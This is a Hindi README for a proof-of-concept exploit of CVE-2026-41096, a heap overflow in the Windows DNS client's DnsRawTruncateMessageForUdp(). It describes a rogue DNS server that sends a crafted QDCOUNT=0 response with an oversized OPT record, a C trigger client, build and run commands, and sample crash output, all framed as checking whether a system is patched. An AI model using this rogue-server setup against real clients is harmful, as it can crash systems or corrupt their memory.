
CVE-2026-41096 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: Windows DNS क्लाइंट के DnsRawTruncateMessageForUdp() में हीप ओवरफ्लो। इसमें रॉग DNS सर्वर और ट्रिगर क्लाइंट शामिल हैं जो कमजोरी की पुष्टि करते हैं।
DnsRawTruncateMessageForUdp() (dnsapi.dll) में हीप ओवरफ़्लो। एक निर्मित DNS प्रतिक्रिया जिसमें QDCOUNT=0 और एक बड़ा OPT रिकॉर्ड है, जब ट्रंकेशन तर्क गंतव्य पॉइंटर की गलत गणना करता है तो 604-बाइट का हीप ओवरफ़्लो होता है।
MSRC सलाह: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| फ़ाइल | विवरण |
|---|
rogue_dns_server.py | रोग DNS सर्वर (Python 3). हर क्वेरी का QDCOUNT=0 + OPT प्रतिक्रिया (623 बाइट्स) के साथ उत्तर देता है। |
trigger_client.c | ट्रिगर क्लाइंट (C/Win32). रोग सर्वर की ओर इंगित DnsQueryRaw को कॉल करता है। SetUnhandledExceptionFilter के माध्यम से क्रैश को पकड़ता है। |
हमलावर (रोग सर्वर):
पीड़ित (ट्रिगर क्लाइंट):
DnsQueryRaw आवश्यक)dnsapi.dll का कमजोर संस्करण1. रोग सर्वर शुरू करें:
sudo python3 rogue_dns_server.py
2. ट्रिगर क्लाइंट बनाएँ और चलाएँ:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (वैकल्पिक) निर्धारित क्रैश के लिए पेज हीप सक्षम करें:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| कोड | अर्थ |
|---|---|
| 0 | सिस्टम पैच किया गया है (DNS_ERROR_BAD_PACKET साफ-साफ लौटाया गया) |
| 1 | त्रुटि (DnsQueryRaw नहीं मिला, नेटवर्क समस्या, आदि) |
| 2 | क्रैश का पता चला (हीप ओवरफ़्लो की पुष्टि हुई) |
कमजोर (पेज हीप):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
कमजोर (कोई पेज हीप नहीं):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
पैच किया गया:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.